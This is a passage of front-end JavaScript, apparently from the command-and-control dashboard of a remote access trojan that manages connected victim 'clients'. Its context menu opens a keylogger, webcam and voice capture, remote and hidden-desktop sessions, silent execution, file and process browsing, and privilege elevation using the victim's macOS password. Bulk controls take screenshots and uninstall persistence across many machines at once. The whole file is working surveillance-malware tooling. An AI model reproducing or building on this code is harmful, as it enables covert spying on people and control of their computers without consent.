.add( { targets: "main > div > div:nth-child(2)", opacity: [0, 1], translateY: [15, 0], duration: 500, }, "-=350", ); } } function isUnfilteredClientView() { return !state.searchTerm && (state.filterStatus || "all") === "all" && (state.filterOs || "all") === "all" && (state.filterCountry || "all") === "all" && (state.filterGroup || "all") === "all" && (state.filterWebcam || "all") === "all"; } if (logoutBtn && !logoutBtn.dataset.boundLogout) { logoutBtn.dataset.boundLogout = "true"; logoutBtn.addEventListener("click", async () => { if (!confirm("Are you sure you want to logout?")) return; try { const res = await fetch("/api/logout", { method: "POST", headers: { "Content-Type": "application/json" }, }); if (res.ok) { window.location.href = "/"; } else { alert("Logout failed. Please try again."); } } catch (err) { console.error("Logout error:", err); alert("Logout failed. Please try again."); } }); } wireModalClose(); const debouncedSearch = debounce(() => { state.page = 1; state.lastDigest = ""; loadWithOptions({ force: true, reorder: true }); }, 200); searchInput?.addEventListener("input", (e) => { state.searchTerm = e.target.value; debouncedSearch(); }); sortSelect?.addEventListener("change", (e) => { state.sort = e.target.value; localStorage.setItem(PREF_SORT_KEY, state.sort); state.page = 1; state.lastDigest = ""; loadWithOptions({ force: true, reorder: true }); }); filterStatusSelect?.addEventListener("change", (e) => { state.filterStatus = e.target.value; localStorage.setItem(PREF_FILTER_STATUS_KEY, state.filterStatus); if (state.filterStatus === "online") { if (showOfflineToggle) showOfflineToggle.checked = false; } else { lastNonOnlineStatus = state.filterStatus; if (showOfflineToggle) showOfflineToggle.checked = true; } state.page = 1; state.lastDigest = ""; loadWithOptions({ force: true, reorder: true }); }); filterOsSelect?.addEventListener("change", (e) => { state.filterOs = e.target.value; localStorage.setItem(PREF_FILTER_OS_KEY, state.filterOs); state.page = 1; state.lastDigest = ""; loadWithOptions({ force: true, reorder: true }); }); filterGroupSelect?.addEventListener("change", (e) => { state.filterGroup = e.target.value; localStorage.setItem(PREF_FILTER_GROUP_KEY, state.filterGroup); state.page = 1; state.lastDigest = ""; loadWithOptions({ force: true, reorder: true }); }); filterWebcamSelect?.addEventListener("change", (e) => { state.filterWebcam = e.target.value; localStorage.setItem(PREF_FILTER_WEBCAM_KEY, state.filterWebcam); state.page = 1; state.lastDigest = ""; loadWithOptions({ force: true, reorder: true }); }); import("./country-picker.js").then(({ initCountryPicker }) => { initCountryPicker((code) => { state.filterCountry = code; localStorage.setItem(PREF_FILTER_COUNTRY_KEY, code); state.page = 1; state.lastDigest = ""; loadWithOptions({ force: true, reorder: true }); }, localStorage.getItem(PREF_FILTER_COUNTRY_KEY) || "all"); }); (function restoreFilterStatus() { const savedStatus = localStorage.getItem(PREF_FILTER_STATUS_KEY); const validStatuses = ["all", "online", "offline"]; if (savedStatus && validStatuses.includes(savedStatus)) { state.filterStatus = savedStatus; if (filterStatusSelect) filterStatusSelect.value = savedStatus; if (showOfflineToggle) showOfflineToggle.checked = savedStatus !== "online"; if (savedStatus !== "online") lastNonOnlineStatus = savedStatus; } const savedSort = localStorage.getItem(PREF_SORT_KEY); const validSorts = ["stable", "last_seen_desc", "host_asc", "ping_asc", "ping_desc", "country_asc", "country_desc", "group_asc", "group_desc", "admin_first", "elevated_first"]; if (savedSort && validSorts.includes(savedSort)) { state.sort = savedSort; if (sortSelect) sortSelect.value = savedSort; } const savedOs = localStorage.getItem(PREF_FILTER_OS_KEY); if (savedOs) { state.filterOs = savedOs; if (filterOsSelect) filterOsSelect.value = savedOs; } const savedCountry = localStorage.getItem(PREF_FILTER_COUNTRY_KEY); if (savedCountry) { state.filterCountry = savedCountry; } const savedGroup = localStorage.getItem(PREF_FILTER_GROUP_KEY); if (savedGroup) { state.filterGroup = savedGroup; if (filterGroupSelect) filterGroupSelect.value = savedGroup; } const savedWebcam = localStorage.getItem(PREF_FILTER_WEBCAM_KEY); if (savedWebcam && ["all", "available", "none"].includes(savedWebcam)) { state.filterWebcam = savedWebcam; if (filterWebcamSelect) filterWebcamSelect.value = savedWebcam; } })(); showOfflineToggle?.addEventListener("change", (e) => { if (e.target.checked) { state.filterStatus = lastNonOnlineStatus || "all"; } else { if (state.filterStatus !== "online") { lastNonOnlineStatus = state.filterStatus; } state.filterStatus = "online"; } localStorage.setItem(PREF_FILTER_STATUS_KEY, state.filterStatus); if (filterStatusSelect) { filterStatusSelect.value = state.filterStatus; } state.page = 1; state.lastDigest = ""; loadWithOptions({ force: true, reorder: true }); }); function updateBulkToolbar() { selectedCountSpan.textContent = selectedClients.size; if (selectedClients.size > 0) { bulkToolbar?.classList.remove("hidden"); } else { bulkToolbar?.classList.add("hidden"); } } function toggleClientSelection(clientId) { const checkbox = document.querySelector( `.client-checkbox[data-id="${clientId}"]`, ); if (!checkbox) return; if (checkbox.checked) { selectedClients.add(clientId); } else { selectedClients.delete(clientId); } updateBulkToolbar(); } function syncSelectionState() { document.querySelectorAll(".client-checkbox").forEach((cb) => { const id = cb.dataset.id; if (!id) return; cb.checked = selectedClients.has(id); }); updateBulkToolbar(); } bulkClearBtn?.addEventListener("click", () => { selectedClients.clear(); document .querySelectorAll(".client-checkbox") .forEach((cb) => (cb.checked = false)); updateBulkToolbar(); }); clearSelectionBtn?.addEventListener("click", () => { selectedClients.clear(); document .querySelectorAll(".client-checkbox") .forEach((cb) => (cb.checked = false)); updateBulkToolbar(); }); selectAllBtn?.addEventListener("click", () => { document .querySelectorAll(".client-checkbox:not(:disabled)") .forEach((cb) => { cb.checked = true; if (cb.dataset.id) { selectedClients.add(cb.dataset.id); } }); updateBulkToolbar(); }); bulkScreenshotBtn?.addEventListener("click", async () => { if (!confirm(`Take screenshot on ${selectedClients.size} client(s)?`)) return; let success = 0; for (const clientId of selectedClients) { const ok = await sendCommand(clientId, "screenshot"); if (ok) success++; } alert(`Screenshots sent to ${success}/${selectedClients.size} clients`); selectedClients.clear(); document .querySelectorAll(".client-checkbox") .forEach((cb) => (cb.checked = false)); updateBulkToolbar(); setTimeout(() => loadWithOptions({ force: true }), 400); }); bulkDisconnectBtn?.addEventListener("click", async () => { if ( !confirm( `Disconnect ${selectedClients.size} client(s)? This will close their connections.`, ) ) return; let success = 0; for (const clientId of selectedClients) { markManualDisconnect(clientId); const ok = await sendCommand(clientId, "disconnect"); if (ok) success++; } alert(`Disconnected ${success}/${selectedClients.size} clients`); selectedClients.clear(); document .querySelectorAll(".client-checkbox") .forEach((cb) => (cb.checked = false)); updateBulkToolbar(); setTimeout(() => loadWithOptions({ force: true }), 1000); }); bulkUninstallBtn?.addEventListener("click", async () => { if ( !confirm( `Uninstall agent from ${selectedClients.size} client(s)?\n\nThis will remove all persistence mechanisms and terminate the agents. This action cannot be undone.`, ) ) return; let success = 0; for (const clientId of selectedClients) { const ok = await sendCommand(clientId, "uninstall"); if (ok) success++; } alert(`Uninstall sent to ${success}/${selectedClients.size} clients`); selectedClients.clear(); document .querySelectorAll(".client-checkbox") .forEach((cb) => (cb.checked = false)); updateBulkToolbar(); setTimeout(() => loadWithOptions({ force: true }), 1000); }); bulkGroupBtn?.addEventListener("click", () => { if (selectedClients.size === 0) return; openBulkGroupPicker([...selectedClients]); }); async function bulkSetMuted(muted) { if (selectedClients.size === 0) return; const ids = [...selectedClients]; try { const res = await fetch("/api/clients/bulk-notifications-muted", { method: "PATCH", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ clientIds: ids, muted }), }); if (!res.ok) { const data = await res.json().catch(() => ({})); alert(data.error || "Failed to update notifications mute state"); return; } const data = await res.json().catch(() => ({})); const action = muted ? "Muted" : "Unmuted"; alert(`${action} notifications for ${data.updated ?? 0}/${ids.length} clients`); } catch (err) { console.error(err); alert("Failed to update notifications mute state"); return; } selectedClients.clear(); document .querySelectorAll(".client-checkbox") .forEach((cb) => (cb.checked = false)); updateBulkToolbar(); setTimeout(() => loadWithOptions({ force: true }), 200); } bulkMuteBtn?.addEventListener("click", () => bulkSetMuted(true)); bulkUnmuteBtn?.addEventListener("click", () => bulkSetMuted(false)); async function openBulkGroupPicker(clientIds) { const groups = await loadGroups(); const overlay = document.createElement("div"); overlay.className = "fixed inset-0 z-[10000] flex items-center justify-center bg-black/60"; overlay.addEventListener("click", (e) => { if (e.target === overlay) overlay.remove(); }); const modal = document.createElement("div"); modal.className = "bg-slate-900 border border-slate-700 rounded-xl shadow-2xl p-6 w-[400px] max-h-[80vh] flex flex-col gap-4"; modal.innerHTML = `

Set Group for ${clientIds.length} client(s)

Create new group

`; const listEl = modal.querySelector(".bulk-group-list"); async function applyGroup(groupId) { overlay.remove(); try { const res = await fetch("/api/clients/bulk-group", { method: "PATCH", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ clientIds, groupId }), }); if (!res.ok) { const d = await res.json().catch(() => ({})); alert(d.error || "Failed to set group"); return; } } catch (err) { console.error(err); alert("Failed to set group"); return; } selectedClients.clear(); document.querySelectorAll(".client-checkbox").forEach((cb) => (cb.checked = false)); updateBulkToolbar(); refreshGroupFilter(); setTimeout(() => loadWithOptions({ force: true }), 200); } function renderList() { listEl.innerHTML = ""; const noneBtn = document.createElement("button"); noneBtn.className = "w-full text-left px-3 py-2 rounded-lg text-sm flex items-center gap-2 transition-colors text-slate-300 hover:bg-slate-800"; noneBtn.innerHTML = ' No Group'; noneBtn.addEventListener("click", () => applyGroup(null)); listEl.appendChild(noneBtn); groups.forEach((g) => { const btn = document.createElement("button"); btn.className = "w-full text-left px-3 py-2 rounded-lg text-sm flex items-center gap-2 transition-colors text-slate-300 hover:bg-slate-800"; btn.innerHTML = ` ${escapeHtml(g.name)}`; btn.addEventListener("click", () => applyGroup(g.id)); listEl.appendChild(btn); }); } renderList(); const createBtn = modal.querySelector(".group-create-btn"); createBtn.addEventListener("click", async () => { const nameInput = modal.querySelector(".group-new-name"); const colorInput = modal.querySelector(".group-new-color"); const name = nameInput.value.trim(); const color = colorInput.value; if (!name) { nameInput.focus(); return; } try { const res = await fetch("/api/groups", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ name, color }), }); if (!res.ok) { const d = await res.json().catch(() => ({})); alert(d.error || "Failed to create group"); return; } const newGroup = await res.json(); groups.push(newGroup); nameInput.value = ""; renderList(); refreshGroupFilter(); } catch (err) { console.error(err); alert("Failed to create group"); } }); overlay.appendChild(modal); document.body.appendChild(overlay); modal.querySelector(".group-new-name").addEventListener("keydown", (e) => { if (e.key === "Enter") createBtn.click(); }); } window.toggleClientSelection = toggleClientSelection; window.isClientSelected = (clientId) => selectedClients.has(clientId); window.syncClientSelection = syncSelectionState; window.removeClientFromDashboard = async (clientId) => { if (!clientId) return false; try { const res = await fetch(`/api/clients/${clientId}`, { method: "DELETE", headers: { "Content-Type": "application/json" }, }); if (!res.ok) { const data = await res.json().catch(() => ({})); alert(data.error || "Failed to remove client from dashboard"); return false; } selectedClients.delete(clientId); return true; } catch (err) { console.error(err); alert("Failed to remove client from dashboard"); return false; } }; window.setClientNickname = async (clientId, nickname) => { if (!clientId) return false; try { const res = await fetch(`/api/clients/${clientId}/nickname`, { method: "PATCH", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ nickname: nickname || "" }), }); if (!res.ok) { const data = await res.json().catch(() => ({})); alert(data.error || "Failed to update client nickname"); return false; } return true; } catch (err) { console.error(err); alert("Failed to update client nickname"); return false; } }; window.setClientTag = async (clientId, tag, note) => { if (!clientId) return false; try { const res = await fetch(`/api/clients/${clientId}/tag`, { method: "PATCH", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ tag: tag || "", note: note ?? "" }), }); if (!res.ok) { const data = await res.json().catch(() => ({})); alert(data.error || "Failed to update custom tag"); return false; } return true; } catch (err) { console.error(err); alert("Failed to update custom tag"); return false; } }; window.setClientNotificationsMuted = async (clientId, muted) => { if (!clientId) return false; try { const res = await fetch(`/api/clients/${clientId}/notifications-muted`, { method: "PATCH", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ muted: !!muted }), }); if (!res.ok) { const data = await res.json().catch(() => ({})); alert(data.error || "Failed to update notification mute state"); return false; } return true; } catch (err) { console.error(err); alert("Failed to update notification mute state"); return false; } }; window.setClientGroup = async (clientId, groupId) => { if (!clientId) return false; try { const res = await fetch(`/api/clients/${clientId}/group`, { method: "PATCH", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ groupId }), }); if (!res.ok) { const data = await res.json().catch(() => ({})); alert(data.error || "Failed to update client group"); return false; } return true; } catch (err) { console.error(err); alert("Failed to update client group"); return false; } }; async function loadGroups() { try { const res = await fetch("/api/groups"); if (!res.ok) return []; const data = await res.json(); return data.groups || []; } catch { return []; } } async function refreshGroupFilter() { const groups = await loadGroups(); if (!filterGroupSelect) return groups; const current = filterGroupSelect.value; filterGroupSelect.innerHTML = ''; groups.forEach((g) => { const opt = document.createElement("option"); opt.value = String(g.id); opt.textContent = g.name; opt.style.color = g.color; filterGroupSelect.appendChild(opt); }); filterGroupSelect.value = current; return groups; } async function openGroupPicker(clientId) { const groups = await loadGroups(); const card = getClientCard(clientId); const currentGroupId = card?.dataset.groupId || ""; const overlay = document.createElement("div"); overlay.className = "fixed inset-0 z-[10000] flex items-center justify-center bg-black/60"; overlay.addEventListener("click", (e) => { if (e.target === overlay) overlay.remove(); }); const modal = document.createElement("div"); modal.className = "bg-slate-900 border border-slate-700 rounded-xl shadow-2xl p-6 w-[400px] max-h-[80vh] flex flex-col gap-4"; modal.innerHTML = `

Set Group

Create new group

`; const listEl = modal.querySelector(".group-picker-list"); function renderList() { listEl.innerHTML = ""; const noneBtn = document.createElement("button"); noneBtn.className = `w-full text-left px-3 py-2 rounded-lg text-sm flex items-center gap-2 transition-colors ${!currentGroupId ? "bg-slate-700 text-white" : "text-slate-300 hover:bg-slate-800"}`; noneBtn.innerHTML = ' No Group'; noneBtn.addEventListener("click", async () => { const ok = await window.setClientGroup(clientId, null); if (ok) setTimeout(() => loadWithOptions({ force: true }), 200); overlay.remove(); }); listEl.appendChild(noneBtn); groups.forEach((g) => { const btn = document.createElement("button"); const isActive = String(g.id) === currentGroupId; btn.className = `w-full text-left px-3 py-2 rounded-lg text-sm flex items-center gap-2 transition-colors ${isActive ? "bg-slate-700 text-white" : "text-slate-300 hover:bg-slate-800"}`; btn.innerHTML = ` ${escapeHtml(g.name)}`; btn.addEventListener("click", async () => { const ok = await window.setClientGroup(clientId, g.id); if (ok) setTimeout(() => loadWithOptions({ force: true }), 200); overlay.remove(); }); listEl.appendChild(btn); }); } renderList(); const createBtn = modal.querySelector(".group-create-btn"); createBtn.addEventListener("click", async () => { const nameInput = modal.querySelector(".group-new-name"); const colorInput = modal.querySelector(".group-new-color"); const name = nameInput.value.trim(); const color = colorInput.value; if (!name) { nameInput.focus(); return; } try { const res = await fetch("/api/groups", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ name, color }), }); if (!res.ok) { const d = await res.json().catch(() => ({})); alert(d.error || "Failed to create group"); return; } const newGroup = await res.json(); groups.push(newGroup); nameInput.value = ""; renderList(); refreshGroupFilter(); } catch (err) { console.error(err); alert("Failed to create group"); } }); overlay.appendChild(modal); document.body.appendChild(overlay); modal.querySelector(".group-new-name").addEventListener("keydown", (e) => { if (e.key === "Enter") createBtn.click(); }); } function escapeHtml(text) { const div = document.createElement("div"); div.textContent = text; return div.innerHTML; } function renderClientLogs(logs) { if (!Array.isArray(logs) || logs.length === 0) { return '
No secure logs returned.
'; } return logs.map((entry) => { const ts = entry.at ? new Date(entry.at).toLocaleString() : ""; const source = entry.source || "log"; return `
#${escapeHtml(entry.seq)} ${escapeHtml(source)} ${escapeHtml(ts)}
${escapeHtml(entry.text || "")}
`; }).join(""); } function openSecureLogsModal(clientId) { const overlay = document.createElement("div"); overlay.className = "fixed inset-0 z-[10000] flex items-center justify-center bg-black/60"; overlay.addEventListener("click", (e) => { if (e.target === overlay) overlay.remove(); }); const modal = document.createElement("div"); modal.className = "bg-slate-900 border border-slate-700 rounded-xl shadow-2xl p-5 w-[760px] max-w-[calc(100vw-24px)] max-h-[86vh] flex flex-col gap-4"; modal.innerHTML = `

Secure Logs

`; overlay.appendChild(modal); document.body.appendChild(overlay); const output = modal.querySelector(".secure-logs-output"); const meta = modal.querySelector(".secure-logs-meta"); const input = modal.querySelector(".secure-logs-input"); const fetchBtn = modal.querySelector(".secure-logs-fetch"); const decryptBtn = modal.querySelector(".secure-logs-decrypt"); modal.querySelector(".secure-logs-close")?.addEventListener("click", () => overlay.remove()); fetchBtn.addEventListener("click", async () => { fetchBtn.disabled = true; output.innerHTML = '
Requesting logs...
'; try { const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/logs`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ limit: 200 }), }); const data = await res.json().catch(() => ({})); if (!res.ok || !data.ok) { meta.textContent = data.clientError || data.error || "Secure logs request failed"; } else { meta.textContent = `Entries ${data.fromSeq || 0}-${data.toSeq || 0}; dropped ${data.dropped || 0}`; } output.innerHTML = renderClientLogs(data.logs || []); } catch (err) { meta.textContent = err.message || "Secure logs request failed"; output.innerHTML = ""; } finally { fetchBtn.disabled = false; } }); decryptBtn.addEventListener("click", async () => { const blob = input.value.trim(); if (!blob) { input.focus(); return; } decryptBtn.disabled = true; output.innerHTML = '
Decrypting...
'; try { const res = await fetch("/api/client-logs/decrypt", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ blob }), }); const data = await res.json().catch(() => ({})); meta.textContent = data.errors?.length ? `${data.errors.length} blob(s) could not decrypt` : "Offline blob decrypted"; output.innerHTML = renderClientLogs(data.logs || []); } catch (err) { meta.textContent = err.message || "Decrypt failed"; output.innerHTML = ""; } finally { decryptBtn.disabled = false; } }); } window.banClient = async (clientId) => { if (!clientId) return; if (!confirm(`Ban IP for ${clientId} and block future connections?`)) return; try { const res = await fetch(`/api/clients/${clientId}/ban`, { method: "POST", headers: { "Content-Type": "application/json" }, }); if (!res.ok) { const data = await res.json().catch(() => ({})); alert(data.error || "Failed to ban client IP"); return; } const data = await res.json().catch(() => ({})); alert(`Banned IP ${data.ip || ""}`.trim()); setTimeout(() => loadWithOptions({ force: true }), 400); } catch (err) { console.error(err); alert("Failed to ban client IP"); } }; prevBtn?.addEventListener("click", () => { if (state.page > 1) { state.page -= 1; state.lastDigest = ""; loadWithOptions({ force: true, reorder: true }); } }); nextBtn?.addEventListener("click", () => { state.page += 1; state.lastDigest = ""; loadWithOptions({ force: true, reorder: true }); }); pageJumpForm?.addEventListener("submit", (e) => { e.preventDefault(); const requested = Math.trunc(Number(pageJumpInput?.value || 1)); const targetPage = Math.min(lastKnownTotalPages, Math.max(1, Number.isFinite(requested) ? requested : 1)); if (pageJumpInput) pageJumpInput.value = String(targetPage); if (targetPage === state.page) return; state.page = targetPage; state.lastDigest = ""; loadWithOptions({ force: true, reorder: true }); }); window.addEventListener("click", (e) => { const target = e.target; if (target.closest && target.closest(".command-btn")) return; if (target.closest && target.closest(".modal")) return; if (menu.contains(target)) return; closeMenu(clearContext); }); menu.addEventListener("click", async (e) => { const target = e.target.closest("button"); if (!target || !contextCard) return; if (target.dataset.groupToggle) return; if (target.disabled || target.getAttribute("aria-disabled") === "true") { return; } const pluginId = target.dataset.plugin; if (pluginId) { const savedClientId = contextCard; try { const res = await fetch(`/api/clients/${savedClientId}/plugins/${pluginId}/load`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({}), }); if (res.status === 428) { const data = await res.json(); closeMenu(clearContext); if (data.error === "needs_approval_required") { showPluginNeedsModal(pluginId, savedClientId, data.needs, data.needsHash); } else { showPluginConfirmModal(pluginId, savedClientId, data.signature); } return; } if (res.status === 403) { const data = await res.json(); alert(data.error || "Plugin load blocked — invalid signature"); closeMenu(clearContext); return; } if (!res.ok) { const text = await res.text(); alert(`Plugin load failed: ${text}`); closeMenu(clearContext); return; } window.open(`/plugins/${pluginId}?clientId=${savedClientId}`, "_blank", "noopener"); } catch (err) { alert("Plugin load failed"); } closeMenu(clearContext); return; } const unloadId = target.dataset.pluginUnload; if (unloadId) { await fetch(`/api/clients/${contextCard}/plugins/${unloadId}/unload`, { method: "POST", }); closeMenu(clearContext); return; } const scriptId = target.dataset.scriptId; if (scriptId) { window.open( `/scripts?clientId=${encodeURIComponent(contextCard)}&scriptId=${encodeURIComponent(scriptId)}`, "_blank", "noopener", ); closeMenu(clearContext); return; } const open = target.dataset.open; if (open === "console") { window.open(`/${contextCard}/console`, "_blank", "noopener"); closeMenu(clearContext); return; } if (open === "remotedesktop") { window.open(`/remotedesktop?clientId=${contextCard}`, "_blank", "noopener"); closeMenu(clearContext); return; } if (open === "webcam") { window.open(`/webcam?clientId=${contextCard}`, "_blank", "noopener"); closeMenu(clearContext); return; } if (open === "Backstage") { window.open(`/backstage?clientId=${contextCard}`, "_blank", "noopener"); closeMenu(clearContext); return; } if (open === "Virtual") { // mode=hidden is understood by older backstage.js builds; current builds treat // it as the virtual-monitor mode compatibility alias. window.open(`/backstage?clientId=${contextCard}&mode=hidden`, "_blank", "noopener"); closeMenu(clearContext); return; } if (open === "files") { const platform = detectClientPlatform(contextCard); if (platform !== "windows") { const proceed = confirm( "Opening File Browser may show a permission prompt to the target user on their machine. Continue?", ); if (!proceed) { closeMenu(clearContext); return; } } window.open(`/${contextCard}/files`, "_blank", "noopener"); closeMenu(clearContext); return; } if (open === "processes") { window.open(`/${contextCard}/processes`, "_blank", "noopener"); closeMenu(clearContext); return; } if (open === "keylogger") { window.open(`/${contextCard}/keylogger`, "_blank", "noopener"); closeMenu(clearContext); return; } if (open === "silent-exec") { window.open(`/deploy?clientId=${contextCard}`, "_blank", "noopener"); closeMenu(clearContext); return; } if (open === "winre") { window.open(`/winre?clientId=${contextCard}`, "_blank", "noopener"); closeMenu(clearContext); return; } const action = target.dataset.action; if (open === "voice") { window.open(`/voice?clientId=${contextCard}`, "_blank", "noopener"); closeMenu(clearContext); return; } if (action === "uninstall") { if ( !confirm( `Uninstall agent from ${contextCard}?\n\nThis will remove all persistence mechanisms and terminate the agent. This action cannot be undone.`, ) ) { closeMenu(clearContext); return; } } else if (action === "disconnect") { if ( !confirm( `Disconnect ${contextCard}?\n\nThis will terminate the agent connection.`, ) ) { closeMenu(clearContext); return; } } else if (action === "remove-dashboard") { if ( !confirm( `Remove ${contextCard} from the dashboard list?\n\nUse this for stale clients that are already gone. If that client reconnects later, it will appear again.`, ) ) { closeMenu(clearContext); return; } const removed = await window.removeClientFromDashboard(contextCard); if (removed) { updateBulkToolbar(); setTimeout(() => loadWithOptions({ force: true }), 200); } closeMenu(clearContext); return; } else if (action === "set-nickname") { const card = getClientCard(contextCard); const currentNickname = (card?.dataset.nickname || "").trim(); const input = prompt( `Set nickname for ${contextCard}\n\nLeave blank to clear nickname.`, currentNickname, ); if (input === null) { closeMenu(clearContext); return; } const trimmed = input.trim(); const updated = await window.setClientNickname(contextCard, trimmed || null); if (updated) { setTimeout(() => loadWithOptions({ force: true }), 200); } closeMenu(clearContext); return; } else if (action === "set-custom-tag") { const card = getClientCard(contextCard); const currentTag = (card?.dataset.customTag || "").trim(); const currentNote = card?._customTagNote || ""; const result = await openTagNoteEditor(contextCard, currentTag, currentNote); if (!result) { closeMenu(clearContext); return; } const updated = await window.setClientTag( contextCard, result.tag || "", result.note || "", ); if (updated) { setTimeout(() => loadWithOptions({ force: true }), 200); } closeMenu(clearContext); return; } else if (action === "set-group") { const savedClientId = contextCard; closeMenu(clearContext); openGroupPicker(savedClientId); return; } else if (action === "toggle-mute") { const card = getClientCard(contextCard); const currentlyMuted = card?.dataset.notificationsMuted === "true"; const ok = await window.setClientNotificationsMuted(contextCard, !currentlyMuted); if (ok) setTimeout(() => loadWithOptions({ force: true }), 200); closeMenu(clearContext); return; } else if (action === "secure-logs") { const savedClientId = contextCard; closeMenu(clearContext); openSecureLogsModal(savedClientId); return; } if (!isClientOnline(contextCard)) { alert("Client is offline. This command can only be used while the client is online."); closeMenu(clearContext); return; } if (action === "elevate") { const isMac = detectClientPlatform(contextCard) === "mac"; let password = ""; if (isMac) { password = prompt("Enter the user's macOS password for sudo elevation:"); if (!password) { closeMenu(clearContext); return; } } try { const payload = { action: "elevate" }; if (password) payload.password = password; const res = await fetch(`/api/clients/${contextCard}/command`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(payload), }); const data = await res.json().catch(() => ({})); if (data.ok) { alert(data.message || "Elevation successful — client will reconnect elevated."); setTimeout(() => requestThumbnail(contextCard), 5000); setTimeout(() => requestThumbnail(contextCard), 10000); setTimeout(() => requestThumbnail(contextCard), 18000); } else { alert(data.error || data.message || "Elevation failed."); } } catch (err) { alert("Elevation request failed: " + err.message); } closeMenu(clearContext); setTimeout(() => loadWithOptions({ force: true }), 5000); return; } if (action === "disconnect") { markManualDisconnect(contextCard); } if (action === "uninstall") { flipFallAndRemove(contextCard); } const ok = await sendCommand(contextCard, action); if (ok) { // Wait for the flip-fall to finish before refreshing the grid, otherwise // the reload would yank the animating card from layout. const refreshDelay = action === "uninstall" ? 1300 : 400; setTimeout(() => loadWithOptions({ force: true }), refreshDelay); } closeMenu(clearContext); }); loadCurrentUser(); // console easter egg (function () { const runWhenIdle = (fn) => { if ("requestIdleCallback" in window) { window.requestIdleCallback(fn, { timeout: 5000 }); return; } window.addEventListener("load", () => setTimeout(fn, 1500), { once: true }); }; const consoleimg = { load: function (src, { size = 320, color = "transparent" } = {}) { const reader = new FileReader(); reader.addEventListener("load", function () { const style = "background: url('" + reader.result + "') left top no-repeat; font-size: " + size + "px; background-size: contain; background-color:" + color; console.log("%c ", style); }, false); fetch(src) .then((r) => r.blob()) .then((blob) => { if (blob.type.indexOf("image") === 0) { if (blob.size > 8192 && navigator.userAgent.indexOf("Firefox") > 0) throw new Error("Image size too big to be displayed in Firefox."); return blob; } throw new Error("Valid image not found."); }) .then((blob) => reader.readAsDataURL(blob)) .catch((err) => console.warn(err.message)); }, }; runWhenIdle(() => consoleimg.load("/assets/console.gif", { size: 320, color: "transparent" })); })();